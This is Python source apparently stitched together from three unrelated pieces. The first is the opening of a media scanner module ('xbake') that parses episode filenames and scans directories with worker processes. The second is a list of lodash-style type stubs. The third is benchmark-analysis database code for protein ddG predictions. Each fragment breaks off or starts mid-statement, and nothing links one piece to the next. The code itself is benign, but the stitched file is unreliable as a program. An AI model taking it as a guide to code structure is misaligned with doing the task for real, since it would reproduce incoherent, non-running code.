#!/usr/bin/env python # coding=utf-8 # vim: set ts=4 sw=4 expandtab syntax=python: """ xbake.mscan.mscan Media Scanner @author <NAME> <<EMAIL>> @repo https://git.ycnrg.org/projects/YXB/repos/yc_xbake Copyright (c) 2013-2017 <NAME> / Neo-Retro Group, Inc. https://ycnrg.org/ """ import sys import os import re import json import time import socket import codecs import multiprocessing from urlparse import urlparse from setproctitle import setproctitle import distance import arrow from xbake import __version__, __date__ from xbake.common.logthis import * from xbake.mscan import util, out from xbake.common import fsutil from xbake.mscan import mdb from xbake.mscan.mdb import MCMP class DSTS: """mkey string enum""" NEW = 'new' UNCHANGED = 'unchanged' RENAMED = 'renamed' # File match regexes fregex = [ r"^(\[(?P<fansub>[^\]]+)\])[\s._]*(?P<series>.+?)(?:[\s._]-[\s._]|[\._])(?:(?P<special>(NCOP|NCED|OP|ED|PV|OVA|ONA|Special|Insert|Preview|Lite|Short)\s*-?\s*[0-9]{0,2})|(?:[eEpP]{2}[\s._]*)?(?P<epnum>[0-9]{1,3}))(?P<version>[vep]{1,2}[0-9]{1,2}([-,][0-9]{1,2})?)?", r"^(\[(?P<fansub>[^\]]+)\])?[\s._]*(?P<series>.+?)(?P<season>[0-9]{1,2})x(?P<epnum>[0-9]{1,2})(.*)$", r"^(\[(?P<fansub>[^\]]+)\])?[\s._]*(?P<series>.+)[\.\-_ ]SE?(?P<season>[0-9]{1,2})EP?(?P<epnum>[0-9]{1,2})(?:[\.\-_ ](?P<eptitle>.+?))?[\.\-_\[\( ]+(?:([0-9]{3,4}p|web|aac|bd|tv|hd|x?264)+)", r"^(\[(?P<fansub>[^\]]+)\])?[\s._]*(?P<series>.+)[\._](?P<epnum>[0-9]{1,4})[\._](.*)$", r"^(?P<series>.+?)[\-_ ](?P<epnum>[0-9]{2})[\-_ ](.*)$", r"^(\[(?P<fansub>[^\]]+)\])?[\s._]*(?P<series>.+)[\._ ]-[\._ ][sS](?P<season>[0-9]{1,2}) ?[eE](?P<epnum>[0-9]{1,2})(.*)$", r"^(?P<series>.+)[sS](?P<season>[0-9]{1,2}) ?[eE](?P<epnum>[0-9]{1,2})(.*)$", r"^(?P<series>.+?) (?P<season>[0-9]{1,2}) (?P<epnum>[0-9]{1,2}) (.*)$", r"^(?P<series>.+) - (?P<epnum>[0-9]{1,2})(.*)$", r"^(?P<series>.+?)(?P<epnum>[0-9]{1,4})\.(.+)$", r"^(?P<series>.+?)(?P<epnum>[0-9]{2,3})(.+)$", r"^(?P<epnum>[0-9]{2,4})(.+)$" ] # File extension filter fext = re.compile(r'\.(avi|mkv|mpg|mpeg|wmv|vp8|ogm|mp4|mpv)', re.I) config = None def run(xconfig): """ Implements --scan mode """ global config, monjer config = xconfig # Check input filename if not config.run['infile']: failwith(ER.OPT_MISSING, "option infile required (-i/--infile)") else: if not os.path.exists(config.run['infile']): failwith(ER.OPT_BAD, "path/file [%s] does not exist" % (config.run['infile'])) if config.run['single'] and not os.path.isfile(config.run['infile']): failwith(ER.OPT_BAD, "file [%s] is not a regular file; --single mode is used when scanning only one file" % (config.run['infile'])) elif not config.run['single'] and not os.path.isdir(config.run['infile']): failwith(ER.OPT_BAD, "file [%s] is not a directory; use --single mode if scanning only one file" % (config.run['infile'])) # Set proctitle try: setproctitle("xbake: scanning %s" % (config.run['infile'])) except: pass # Examine and enumerate files if config.run['single']: new_files, flist = scan_single(config.run['infile'], config.scan['mforce'], config.scan['nochecksum'], config.scan['savechecksum']) else: if config.run['tsukimi'] is True: tstatus('scanlist', scanlist=get_scanlist(config.run['infile'], config.scan['follow_symlinks'])) new_files, flist = scan_dir(config.run['infile'], config.scan['follow_symlinks'], config.scan['mforce'], config.scan['nochecksum'], config.scan['savechecksum'], int(config.scan['procs'])) # Scrape for series information if new_files > 0: mdb.series_scrape(config) # Build host data hdata = { 'hostname': socket.getfqdn(), 'tstamp': time.time(), 'duration': 0, # FIXME 'topmost': os.path.realpath(config.run['infile']), 'command': ' '.join(sys.argv), 'version': __version__ } # Build main output structure odata = { 'scan': hdata, 'files': flist, 'series': mdb.get_tdex() } # Parse outfile if not config.run['outfile']: config.run['outfile'] = config.scan['output'] # If no file defined, or '-', write to stdout if not config.run['outfile'] or config.run['outfile'] == '-': config.run['outfile'] = '/dev/stdout' # Parse URLs ofp = urlparse(config.run['outfile']) tstatus('output', event='start', output=config.run['outfile']) if ofp.scheme == 'mongodb': # Write to Mongo logthis(">> Output driver: Mongo", loglevel=LL.VERBOSE) if ofp.hostname is None: cmon = config.mongo logthis("Using existing MongoDB configuration; URI:", suffix=cmon['uri'], loglevel=LL.DEBUG) else: cmon = {'uri': config.run['outfile']} logthis("Using new MongoDB URI:", suffix=cmon['uri'], loglevel=LL.DEBUG) ostatus = out.to_mongo(odata, cmon) elif ofp.scheme == 'http' or ofp.scheme == 'https': # Send via HTTP(S) to a listening XBake daemon, or other web service logthis(">> Output driver: HTTP/HTTPS", loglevel=LL.VERBOSE) ostatus = out.to_server(odata, config.run['outfile'], config) else: # Write to file or stdout logthis(">> Output driver: File", loglevel=LL.VERBOSE) ostatus = out.to_file(odata, ofp.path) if ostatus['status'] == "ok": logthis("*** Scanning task completed successfully.", loglevel=LL.INFO) tstatus('complete', status='ok', files=len(flist), series=len(mdb.get_tdex())) return 0 elif ostatus['status'] == "warning": logthis("*** Scanning task completed, with warnings.", loglevel=LL.WARNING) tstatus('complete', status='warning') return 49 else: logthis("*** Scanning task failed.", loglevel=LL.ERROR) tstatus('complete', status='fail') return 50 # run config setting map for xattribs setmap = { 'ignore': "xbake.ignore", 'series': "media.seriesname", 'season': "media.season", 'episode': "media.episode", 'tvdb_id': "media.xref.tvdb", 'mal_id': "media.xref.mal", 'tdex_id': "xbake.tdex", 'fansub': "media.fansub" } def setter(xconfig): """ Set overrides for a file or directory """ global setmap infile = xconfig.run['infile'] setout = {} for k, v in setmap.iteritems(): if k in xconfig.run: if xconfig.run[k]: setout[v] = xconfig.run[k] logthis("Setting overrides:\n", suffix=print_r(setout), loglevel=LL.VERBOSE) fsutil.xattr_set(infile, setout) logthis("Overrides set OK.", ccode=C.GRN, loglevel=LL.INFO) return 0 def unsetter(xconfig): """ Remove overrides for a file or directory """ infile = xconfig.run['infile'] dlist = list(fsutil.xattr_get(infile)) logthis("Removing overrides:\n", suffix=print_r(dlist), loglevel=LL.VERBOSE) fsutil.xattr_del(infile, dlist) logthis("Overrides cleared.", ccode=C.GRN, loglevel=LL.INFO) return 0 def get_scanlist(dpath, dreflinks=True): """ Return a list of files to be scanned by scan_dir() """ dryout = scan_dir(dpath, dreflinks, dryrun=True)[1] return dryout.values() def scan_dir(dpath, dreflinks=True, mforce=False, nochecksum=False, savechecksum=True, procs=0, dryrun=False): """ Scan a directory recursively; follows symlinks by default """ ddex = {} new_files = 0 if dryrun is False: ## Set up workers and IPC if procs == 0: procs = multiprocessing.cpu_count() mp_inq = multiprocessing.Queue() mp_outq = multiprocessing.Queue() mp_tdexq = multiprocessing.Queue() ## Start queue runners wlist = [] for wid in range(procs): # pylint: disable=unused-variable cworker = multiprocessing.Process(name="xbake: scanrunner", target=scanrunner, args=(mp_inq, mp_outq, mp_tdexq)) wlist.append(cworker) cworker.start() ## Enumerate files for tdir, dlist, flist in os.walk(unicode(dpath), followlinks=dreflinks): # pylint: disable=unused-variable # get base & parent dir names tdir_base = os.path.split(tdir)[1] # pylint: disable=unused-variable tdir_parent = os.path.split(os.path.split(tdir)[0])[1] # pylint: disable=unused-variable ovrx = {} # Get xattribs ovrx = parse_xattr_overrides(tdir) # Check if ignore flag is set for this directory (xattribs only) if ovrx.has_key('ignore'): logthis("Skipping directory, has 'ignore' flag set in xattribs:", suffix=tdir, loglevel=LL.INFO) continue # Parse overrides for this directory ovrx.update(parse_overrides(tdir)) if dryrun is False: logthis("*** Scanning files in directory:", suffix=tdir, loglevel=LL.INFO) # enum files in this directory for xv in flist: xvreal = os.path.realpath(unicode(tdir + '/' + xv)) xvbase, xvext = os.path.splitext(xv) # pylint: disable=unused-variable # Skip .xbake file if unicode(xv) == unicode('.xbake'): continue # Skip unsupported filetypes, non-regular files, and broken symlinks if not os.path.exists(xvreal): logthis("Skipping broken symlink:", suffix=xvreal, loglevel=LL.WARNING) continue if not os.path.isfile(xvreal): logthis("Skipping non-regular file:", suffix=xvreal, loglevel=LL.VERBOSE) continue if not fext.match(xvext): logthis("Skipping file with unsupported extension:", suffix=xvreal, loglevel=LL.DEBUG) continue # Skip file if on the overrides 'ignore' list if check_overrides(ovrx, xv): logthis("Skipping file. Matched rule in override ignore list:", suffix=xvreal, loglevel=LL.INFO) continue # Create copy of override object and strip-out unneeded values and flags ovrx_sub = clean_overrides(ovrx) # Get file properties if dryrun is True: ddex[new_files] = os.path.realpath(tdir + '/' + xv) new_files += 1 else: mp_inq.put({'rfile': xvreal, 'ovrx': ovrx_sub, 'mforce': mforce, 'nochecksum': nochecksum, 'savechecksum': savechecksum}) ## Tend the workers if dryrun is False: # Pump terminators at the end of the queue for wid in range(procs): mp_inq.put({'EOF': True}) # Monitor scanrunner progress logthis("File enumeration complete. Waiting for scanrunner to complete...", loglevel=LL.DEBUG) while len(wlist) > 0: # pull scan data off the outbound queue for tk in range(mp_outq.qsize()): # pylint: disable=unused-variable try: xfile, xdata = mp_outq.get(block=False) logthis("got file from queue:", suffix=xfile, loglevel=LL.DEBUG) ddex[xfile] = xdata new_files += 1 except: pass # pull series data from tdex queue for tk in range(mp_tdexq.qsize()): # pylint: disable=unused-variable try: xkey, xdata = mp_tdexq.get(block=False) logthis("got series from tdex queue:", suffix=xkey, loglevel=LL.DEBUG) if xkey in mdb.tdex: mdb.tdex[xkey]['count'] += xdata['count'] else: mdb.tdex[xkey] = xdata except: pass # check to see if the kids have died yet for wk, wid in enumerate(wlist): if not wid.is_alive(): logthis("Scanrunner is complete; pid =", suffix=wid.pid, loglevel=LL.DEBUG) del(wlist[wk]) break return (new_files, ddex) def scan_single(dfile, mforce=False, nochecksum=False, savechecksum=True): """ Scan a single media file """ ddex = {} new_files = 0 # Parse overrides for directory the file is in tdir = os.path.dirname(os.path.realpath(dfile)) ovrx = parse_xattr_overrides(tdir) ovrx.update(parse_overrides(tdir)) ovrx = clean_overrides(ovrx) dasc = scanfile(dfile, ovrx=ovrx, mforce=mforce, nochecksum=nochecksum, savechecksum=savechecksum) if dasc: ddex[dfile] = dasc new_files += 1 return (new_files, ddex) def scanrunner(in_q, out_q, tdex_q): """ Process queue runner """ hproc = multiprocessing.current_process() setproctitle("xbake: scanrunner") while True: # pop next job off the queue; will block until a job is available thisjob = in_q.get() if thisjob.get('EOF') is not None: logthis("Got end-of-queue marker; terminating; pid =", suffix=hproc.pid, loglevel=LL.DEBUG) for tkey, tshow in mdb.tdex.iteritems(): tdex_q.put((tkey, tshow)) # we need to wait until the master process pulls our items from the queue while tdex_q.qsize() > 0 or out_q.qsize() > 0: time.sleep(0.1) os._exit(0) out_q.put((thisjob['rfile'], scanfile(**thisjob))) def scanfile(rfile, ovrx={}, mforce=False, nochecksum=False, savechecksum=True): """ Examine file: obtain filesystem stats, checksum, ownership; file/path are parsed and episode number, season, and series title extracted; file examined with mediainfo and container, video, audio, subtitle track info, and chapter data extracted """ dasc = {} # get file parts xvreal = rfile tdir, xv = os.path.split(xvreal) xvbase, xvext = os.path.splitext(xv) # get base & parent dir names tdir_base = os.path.split(tdir)[1] tdir_parent = os.path.split(os.path.split(tdir)[0])[1] logthis("Examining file:", suffix=xv, loglevel=LL.INFO) tstatus('scanfile', event='start', filename=xv) # Get xattribs fovr = {} fovr.update(ovrx) fovr.update(parse_xattr_overrides(xvreal)) if fovr.has_key('ignore'): logthis("File has 'ignore' flag set via override; skipping", loglevel=LL.INFO) return False # Get file path information dasc['dpath'] = {'base': tdir_base, 'parent': tdir_parent, 'full': tdir} dasc['fpath'] = {'real': xvreal, 'base': xvbase, 'file': xv, 'ext': xvext.replace('.', '')} # Stat, Extended Attribs, Ownership dasc['stat'] = util.dstat(xvreal) dasc['owner'] = {'user': util.getuser(dasc['stat']['uid']), 'group': util.getgroup(dasc['stat']['gid'])} # Modification key
-> int: pass @staticmethod def take(array: List[_L1], n: int = 1) -> List[_L1]: pass @staticmethod def takeRight(array: List[_L1], n: int = 1) -> List[_L1]: pass @staticmethod def takeRightWhile(array: List[_L1], predicate: Union[str, Callable[[_L1], _L2], None] = None, thisArg: Any = None) -> List[_L1]: pass @staticmethod def takeWhile(array: List[_L1], predicate: Union[str, Callable[[_L1], _L2], None] = None, thisArg: Any = None) -> List[_L1]: pass @staticmethod def union(array: List[List[_L1]]) -> List[_L1]: pass @staticmethod def unique(array: List[_L1], isSorted: bool = False, iteratee: Union[str, Callable[[_L1], _L2], None] = None, thisArg: Any = None) -> List[_L1]: pass @staticmethod def uniq(array: List[_L1], isSorted: bool = False, iteratee: Union[str, Callable[[_L1], _L2], None] = None, thisArg: Any = None) -> List[_L1]: pass @staticmethod def unzip(array: List[Any]) -> List[Any]: pass @staticmethod def unzipWith(array: List[Any], iteratee: Optional[Callable[[Any, Any, Any, Any], Any]] = None, thisArg: Any = None) -> List[Any]: pass @staticmethod def without(array: List[_L1], values: List[_L1]) -> List[_L1]: pass @staticmethod def xor(array: List[List[_L1]]) -> List[_L1]: pass @staticmethod def zip(array: List[Any]) -> List[Any]: pass @staticmethod def zipObject(props: List[Any], values: Optional[List[Any]] = None) -> Any: pass @staticmethod def zipWith(array: List[Any], iteratee: Optional[Callable[[Any, Any, Any, Any], None]] = None, thisArg: Any = None) -> List[Any]: pass @staticmethod def all(collection: List[_L1], predicate: Union[Dict[str, Any], Callable[[_L1], bool], None, str] = None, thisArg: Any = None) -> bool: pass @staticmethod def any(collection: Union[List[_L1], Dict[Any, _L1]], predicate: Union[Dict[str, Any], Callable[[_L1], bool], None, str] = None, thisArg: Any = None) -> bool: pass @staticmethod def at(collection: Union[List[_L1], Dict[Any, _L1]], *props: Any) -> List[_L1]: pass @staticmethod def countBy(collection: Union[List[_L1], Dict[Any, _L1]], iteratee: Union[str, Callable[[_L1], _L2], None] = None, thisArg: Any = None) -> Dict[_L2, int]: pass @staticmethod def every(collection: Union[List[_L1], Dict[Any, _L1]], predicate: Union[Dict[str, Any], Callable[[_L1], bool], None, str] = None, thisArg: Any = None) -> bool: pass @staticmethod def filter(collection: Union[List[_L1], Dict[Any, _L1]], predicate: Union[Dict[str, Any], Callable[[_L1], bool], None, str] = None, thisArg: Any = None) -> List[_L1]: pass @staticmethod def find(collection: Union[List[_L1], Dict[Any, _L1]], predicate: Union[Dict[str, Any], Callable[[_L1], bool], None, str] = None, thisArg: Any = None) -> _L1: pass @staticmethod def findLast(collection: Union[List[_L1], Dict[Any, _L1]], predicate: Union[Dict[str, Any], Callable[[_L1], bool], None, str] = None, thisArg: Any = None) -> _L1: pass @staticmethod def findWhere(collection: Any, predicate: Union[Dict[str, Any], Callable[[_L1], bool], None, str] = None, thisArg: Any = None) -> _L1: pass @staticmethod def groupBy(collection: Union[List[_L1], Dict[Any, _L1]], iteratee: Union[str, Callable[[_L1], _L2], None] = None, thisArg: Any = None) -> Dict[_L2, List[_L1]]: pass @staticmethod def includes(collection: Union[List[_L1], Dict[Any, _L1], str], value: _L1, fromIndex: int = 0) -> bool: pass @staticmethod def indexBy(collection: Union[List[_L1], Dict[Any, _L1]], iteratee: Union[str, Callable[[_L1], _L2], None] = None, thisArg: Any = None) -> Dict[str, _L1]: pass @staticmethod def invoke(collection: Union[List[_L1], Dict[Any, _L1]], path: str, *args: Any) -> Any: pass @staticmethod def map(collection: Union[List[_L1], Dict[Any, _L1]], iteratee: Union[str, Callable[[_L1], _L2], None] = None, thisArg: Any = None) -> List[_L2]: pass @staticmethod def partition(collection: Union[List[_L1], Dict[Any, _L1]], predicate: Union[Dict[str, Any], Callable[[_L1], bool], None, str] = None, thisArg: Any = None) -> Tuple[List[_L1], List[_L1]]: pass @staticmethod def pluck(collection: Union[List[_L1], Dict[Any, _L1]], path: Union[str, List[str]]) -> List[Any]: pass @staticmethod def reduce(collection: Union[List[_L1], Dict[Any, _L1]], iteratee: Callable[[_L2, _L1], _L2] = None, accumulator: _L2 = None, thisArg: Any = None) -> _L2: pass @staticmethod def reduceRight(collection: Union[List[_L1], Dict[Any, _L1]], iteratee: Callable[[_L2, _L1], _L2] = None, accumulator: _L2 = None, thisArg: Any = None) -> _L2: pass @staticmethod def reject(collection: Union[List[_L1], Dict[Any, _L1]], predicate: Union[Dict[str, Any], Callable[[_L1], bool], None, str] = None, thisArg: Any = None) -> List[ _L1]: pass @staticmethod def sample(collection: Union[List[_L1], Dict[Any, _L1]]) -> _L1: pass @staticmethod def shuffle(collection: Union[List[_L1], Dict[Any, _L1]]) -> List[_L1]: pass @staticmethod def size(collection: Optional[Union[List[_L1], Dict[Any, _L1]]]) -> int: pass @staticmethod def some(collection: Union[List[_L1], Dict[Any, _L1]], predicate: Union[Dict[str, Any], Callable[[_L1], bool], None, str] = None, thisArg: Any = None) -> bool: pass @staticmethod def sortBy(collection: Union[List[_L1], Dict[Any, _L1]], iteratee: Union[str, Callable[[_L1], _L2], None] = None, thisArg: Any = None) -> List[_L1]: pass @staticmethod def sortByAll(collection: Union[List[_L1], Dict[Any, _L1]], *iteratee: Union[str, Callable[[_L1], _L2], None]) -> List[_L1]: pass @staticmethod def sortByOrder(collection: Union[List[_L1], Dict[Any, _L1]], iteratees: List[Union[str, Callable[[_L1], _L2], None]], orders: List[str]) -> List[_L1]: pass @staticmethod def where(collection: Union[List[_L1], Dict[Any, _L1]], source: Any) -> List[_L1]: pass @staticmethod def clone(value: _L1) -> _L1: pass @staticmethod def cloneDeep(value: _L1) -> _L1: pass @staticmethod def gt(value: Any, other: Any) -> bool: pass @staticmethod def gte(value: Any, other: Any) -> bool: pass @staticmethod def isArguments(value: Any) -> bool: pass @staticmethod def isArray(value: Any) -> bool: pass @staticmethod def isBoolean(value: Any) -> bool: pass @staticmethod def isDate(value: Any) -> bool: pass @staticmethod def isElement(value: Any) -> bool: pass @staticmethod def isEmpty(value: Any) -> bool: pass @staticmethod def isEqual(value: Any, other: Any) -> bool: pass @staticmethod def isError(value: Any) -> bool: pass @staticmethod def isFinite(value: Any) -> bool: pass @staticmethod def isFunction(value: Any) -> bool: pass @staticmethod def isMatch(value: Any) -> bool: pass @staticmethod def isNaN(value: Any) -> bool: pass @staticmethod def isNative(value: Any) -> bool: pass @staticmethod def isNull(value: Any) -> bool: pass @staticmethod def isNumber(value: Any) -> bool: pass @staticmethod def isObject(value: Any) -> bool: pass @staticmethod def isPlainObject(value: Any) -> bool: pass @staticmethod def isRegExp(value: Any) -> bool: pass @staticmethod def isString(value: Any) -> bool: pass @staticmethod def isTypedArray(value: Any) -> bool: pass @staticmethod def isUndefined(value: Any) -> bool: pass @staticmethod def lt(value: Any, other: Any) -> bool: pass @staticmethod def lte(value: Any, other: Any) -> bool: pass @staticmethod def toArray(value: Any) -> List[Any]: pass @staticmethod def toPlainObject(value: Any) -> Any: pass @staticmethod def add(augend: Union[int, float], addend: Union[int, float]) -> Union[int, float]: pass @staticmethod def ceil(n: Union[int, float], precision: int = 0) -> Union[int, float]: pass @staticmethod def floor(n: Union[int, float], precision: int = 0) -> Union[int, float]: pass @staticmethod def max(collection: Union[List[_L1], Dict[Any, _L1]], iteratee: Union[str, Callable[[_L1], Any], None] = lambda x: x, thisArg: Any = None) -> _L1: pass @staticmethod def min(collection: Union[List[_L1], Dict[Any, _L1]], iteratee: Union[str, Callable[[_L1], Any], None] = lambda x: x, thisArg: Any = None) -> _L1: pass @staticmethod def round(n: Union[int, float], precision: int = 0) -> Union[int, float]: pass @staticmethod def sum(collection: Union[List[_L1], Dict[Any, _L1]], iteratee: Union[str, Callable[[_L1], _L2], None] = None, thisArg: Any = None) -> _L2: pass @staticmethod def extend(_object: Any, *sources: Any) -> Any: pass @staticmethod def assign(_object: Any, *sources: Any) -> Any: pass @staticmethod def create(prototype: Type[_L1], properties: Any = None) -> _L1: pass @staticmethod def defaults(_object: Any, *sources: Any) -> Any: pass @staticmethod def defaultsDeep(_object: Any, *sources: Any) -> Any: pass @staticmethod def findKey(_object: Any, predicate: Union[Dict[str, Any], Callable[[_L1], bool], None, str] = None, thisArg: Any = None) -> str: pass @staticmethod def findLastKey(_object: Any, predicate: Union[Dict[str, Any], Callable[[_L1], bool], None, str] = None, thisArg: Any = None) -> str: pass @staticmethod def forIn(_object: _L4, iteratee: Callable[[_L1], Optional[bool]] = None, thisArg: Any = None) -> _L4: pass @staticmethod def forInRight(_object: _L4, iteratee: Callable[[_L1], Optional[bool]] = None, thisArg: Any = None) -> _L4: pass @staticmethod def forOwn(_object: _L4, iteratee: Callable[[_L1], Optional[bool]] = None, thisArg: Any = None) -> _L4: pass @staticmethod def functions(_object: Any) -> List[str]: pass @staticmethod def get(_object: Any, path: Union[str, List[str]], defaultValue: _L1 = None) -> _L1: pass @staticmethod def has(_object: Any, path: str) -> bool: pass @staticmethod def invert(_object: Any) -> Dict[str, str]: pass @staticmethod def keys(_object: Any) -> List[str]: pass @staticmethod def keysIn(_object: Any) -> List[str]: pass @staticmethod def mapKeys(_object: Any, iteratee: Callable[[str], str] = None, thisArg: Any = None) -> Any: pass @staticmethod def mapValues(_object: Any, iteratee: Callable[[Any], Any] = None, thisArg: Any = None) -> Any: pass @staticmethod def merge(_object: Any, *sources: Any) -> Any: pass @staticmethod def omit(_object: Any, predicate: Union[Dict[str, Any], Callable[[_L1], bool], None, str], thisArg: Any = None) -> Any: pass @staticmethod def pairs(_object: Any) -> List[Tuple[str, Any]]: pass @staticmethod def pick(_object: Any, predicate: Union[Dict[str, Any], Callable[[_L1], bool], None, str], thisArg: Any = None) -> Any: pass @staticmethod def
AND ContainsExperimentalData=%s AND ScoreMethodID=%s AND UseSingleReportedValue=%s AND TopX=%s AND BurialCutoff=%s AND StabilityClassicationExperimentalCutoff=%s AND StabilityClassicationPredictedCutoff=%s AND IncludesDerivedMutations=%s AND DDGAnalysisType=%s''', parameters=( prediction_set_id, dataframe_type, experimental_data_exists, score_method_id, use_single_reported_value, take_lowest, burial_cutoff, stability_classication_experimental_cutoff, stability_classication_predicted_cutoff, include_derived_mutations, ddg_analysis_type)) if hdf_store_blob: assert(len(hdf_store_blob) == 1) mem_zip = StringIO.StringIO() mem_zip.write(hdf_store_blob[0]['PandasHDFStore']) mem_zip.seek(0) hdf_store_blob = gzip.GzipFile(fileobj = mem_zip, mode='rb').read() if not(use_existing_benchmark_data and hdf_store_blob): # Create this cache if we are going to end up using it in if statements below prediction_table_rows_cache = self._get_prediction_set_prediction_table_rows(prediction_set_id) else: prediction_table_rows_cache = None # This dict is similar to dataset_cases in the benchmark capture (dataset.json) prediction_set_case_details = None prediction_ids = [] if not(use_existing_benchmark_data and hdf_store_blob): print('Retrieving the associated experimental data for the user dataset.') prediction_set_case_details = self.get_prediction_set_case_details(prediction_set_id, retrieve_references = True, include_experimental_data = experimental_data_exists, prediction_table_rows_cache = prediction_table_rows_cache) UserDataSetExperimentIDs = prediction_set_case_details['Data'].keys() prediction_set_case_details = prediction_set_case_details['Data'] analysis_data = {} top_level_dataframe_attributes = {} if not(use_existing_benchmark_data and hdf_store_blob): if extract_data_for_case_if_missing and not silent: print('Computing the best/top/whatever values for each prediction case, extracting data if need be.') elif not extract_data_for_case_if_missing and not silent: print('Computing the best/top/whatever values for each prediction case; skipping missing data without attempting to extract.') num_predictions_in_prediction_set = len(prediction_ids) failed_cases = set() ## get_job_description(self, prediction_id) for UserDataSetExperimentID in UserDataSetExperimentIDs: try: prediction_id = prediction_set_case_details[UserDataSetExperimentID]['PredictionID'] prediction_id_data = self.get_prediction_data(prediction_id, score_method_id, ddg_analysis_type, expectn = expectn, extract_data_for_case_if_missing = extract_data_for_case_if_missing, root_directory = root_directory, dataframe_type = dataframe_type, prediction_table_rows_cache = prediction_table_rows_cache) analysis_data[UserDataSetExperimentID] = prediction_id_data del analysis_data[UserDataSetExperimentID]['UserDataSetExperimentID'] analysis_data[UserDataSetExperimentID]['PredictionID'] = prediction_id except FatalException, e: raise except PartialDataException, e: if not allow_failures: raise Exception('Prediction {0} has partial data. Skipping.'.format(prediction_id)) failed_cases.add(prediction_id) except Exception, e: raise Exception('An error occurred during the best/top/whatever computation: {0}.\n{1}'.format(str(e), traceback.format_exc())) failed_cases.add(prediction_id) if debug and len(analysis_data) >= 20: break if failed_cases: colortext.error('Failed to determine the best/top/whatever score for {0}/{1} predictions. Continuing with the analysis ignoring these cases.'.format(len(failed_cases), len(prediction_ids))) working_prediction_ids = sorted(set(prediction_ids).difference(failed_cases)) top_level_dataframe_attributes = dict( num_predictions_in_prediction_set = num_predictions_in_prediction_set, num_predictions_in_dataframe = len(working_prediction_ids), dataframe_type = dataframe_type, contains_experimental_data = experimental_data_exists, ) # Only pull PDB data for cases where we have data restrict_to_pdbs = set([prediction_set_case_details[k]['Structure']['PDBFileID'] for k in analysis_data]) prediction_set_details = self.get_prediction_set_details(prediction_set_id) prediction_set_series_name = prediction_set_series_name or prediction_set_details['SeriesName'] or prediction_set_details['ID'] prediction_set_description = prediction_set_description or prediction_set_details['Description'] prediction_set_color = prediction_set_color or prediction_set_details['SeriesColor'] prediction_set_alpha = prediction_set_alpha or prediction_set_details['SeriesAlpha'] score_method_details = self.get_score_method_details( score_method_id = score_method_id ) additional_join_parameters = { 'score_method' : { 'short_name' : score_method_details['MethodName'], 'long_name' : '%s - %s' % (score_method_details['MethodType'], score_method_details['Authors']), }, 'prediction_set_id' : { 'short_name' : prediction_set_id, }, 'ddg_analysis_type' : { 'short_name' : ddg_analysis_type[4:], 'long_name' : ddg_analysis_type, }, } # Initialize the BindingAffinityBenchmarkRun object # Note: prediction_set_case_details, analysis_data, and top_level_dataframe_attributes will not be filled in benchmark_run = benchmark_run_class( prediction_set_series_name, prediction_set_case_details, analysis_data, contains_experimental_data = experimental_data_exists, additional_join_parameters = additional_join_parameters, store_data_on_disk = False, calculate_scalar_adjustments = False, benchmark_run_directory = None, use_single_reported_value = use_single_reported_value, description = prediction_set_description, dataset_description = prediction_set_description, credit = prediction_set_credit, include_derived_mutations = include_derived_mutations, generate_plots = False, report_analysis = report_analysis, silent = silent, burial_cutoff = burial_cutoff, stability_classication_x_cutoff = stability_classication_experimental_cutoff, stability_classication_y_cutoff = stability_classication_predicted_cutoff, use_existing_benchmark_data = False, recreate_graphs = False, misc_dataframe_attributes = top_level_dataframe_attributes, restrict_to = restrict_to, remove_cases = remove_cases, ) if not(use_existing_benchmark_data and hdf_store_blob): hdf_store_blob = benchmark_run.create_dataframe(pdb_data = self.get_prediction_set_pdb_chain_details(prediction_set_id, restrict_to_pdbs = restrict_to_pdbs)) d = dict( PredictionSet = prediction_set_id, DataFrameType = dataframe_type, ContainsExperimentalData = experimental_data_exists, ScoreMethodID = score_method_id, UseSingleReportedValue = use_single_reported_value, TopX = take_lowest, BurialCutoff = burial_cutoff, StabilityClassicationExperimentalCutoff = stability_classication_experimental_cutoff, StabilityClassicationPredictedCutoff = stability_classication_predicted_cutoff, IncludesDerivedMutations = include_derived_mutations, DDGAnalysisType = ddg_analysis_type, SeriesName = prediction_set_series_name, SeriesColor = prediction_set_color, SeriesAlpha = prediction_set_alpha, Description = prediction_set_description, Credit = prediction_set_credit, DDGAnalysisTypeDescription = benchmark_run.ddg_analysis_type_description, PandasHDFStore = hdf_store_blob, ) self.DDG_db.execute('''DELETE FROM AnalysisDataFrame WHERE PredictionSet=%s AND DataFrameType=%s AND ContainsExperimentalData=%s AND ScoreMethodID=%s AND UseSingleReportedValue=%s AND TopX=%s AND BurialCutoff=%s AND StabilityClassicationExperimentalCutoff=%s AND StabilityClassicationPredictedCutoff=%s AND IncludesDerivedMutations=%s AND DDGAnalysisType=%s''', parameters = (prediction_set_id, dataframe_type, experimental_data_exists, score_method_id, use_single_reported_value, take_lowest, burial_cutoff, stability_classication_experimental_cutoff, stability_classication_predicted_cutoff, include_derived_mutations, ddg_analysis_type )) self.DDG_db.insertDictIfNew('AnalysisDataFrame', d, ['PredictionSet', 'DataFrameType', 'ContainsExperimentalData', 'ScoreMethodID', 'UseSingleReportedValue', 'TopX', 'BurialCutoff', 'StabilityClassicationExperimentalCutoff', 'StabilityClassicationPredictedCutoff', 'IncludesDerivedMutations', 'DDGAnalysisType'], locked = False) else: benchmark_run.read_dataframe_from_content(hdf_store_blob) return benchmark_run # if use_existing_benchmark_data and dataframe exists: return dataframe # else retrieve all of the Score records from the database # if a record does not exist: # if root_directory then call extract_data_for_case to create an analysis dataframe and store it in the database # store the number of complete Score records as a column in the dataframe (to indicate whether analysis is being performed on a full set of data) # # For Shane: this extracts the dataset_description and dataset_cases data that DDGBenchmarkManager currently takes care of in the capture. # The analysis_data variable of DDGBenchmarkManager should be compiled via queries calls to the Prediction*StructureScore table. def map_prediction_ids(self, first_prediction_set_id, second_prediction_set_id): ''' Returns pairs of prediction IDs corresponding to ther same underlying UserDataSet. Useful when input for a prediction run is based on the saved output files of another run. ''' first_prediction_set_case_details = self.get_prediction_set_case_details( first_prediction_set_id, retrieve_references = False, include_experimental_data = False, prediction_table_rows_cache = self._get_prediction_set_prediction_table_rows(first_prediction_set_id), ) second_prediction_set_case_details = self.get_prediction_set_case_details( second_prediction_set_id, retrieve_references = False, include_experimental_data = False, prediction_table_rows_cache = self._get_prediction_set_prediction_table_rows(second_prediction_set_id), ) first_UserDataSetExperimentIDs = set( first_prediction_set_case_details['Data'].keys() ) second_UserDataSetExperimentIDs = set( second_prediction_set_case_details['Data'].keys() ) assert( first_UserDataSetExperimentIDs == second_UserDataSetExperimentIDs ) return_list = [] for UserDataSetExperimentID in first_UserDataSetExperimentIDs: return_list.append( ( 